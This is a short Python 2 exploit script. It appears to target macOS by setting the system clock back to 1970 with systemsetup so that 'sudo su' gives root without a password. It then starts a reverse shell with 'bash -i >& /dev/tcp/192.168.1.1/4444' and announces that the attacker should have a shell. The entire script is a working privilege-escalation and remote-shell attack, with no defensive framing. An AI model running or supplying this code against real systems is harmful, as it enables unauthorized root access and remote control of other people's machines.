|
import subprocess
ipaddr = "192.168.1.1"
port = "4444"
proc = subprocess.Popen( 'bash' , shell = False , stdout = subprocess.PIPE, stdin = subprocess.PIPE, stderr = subprocess.PIPE)
proc.stdin.write( "systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port))
print
print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)
|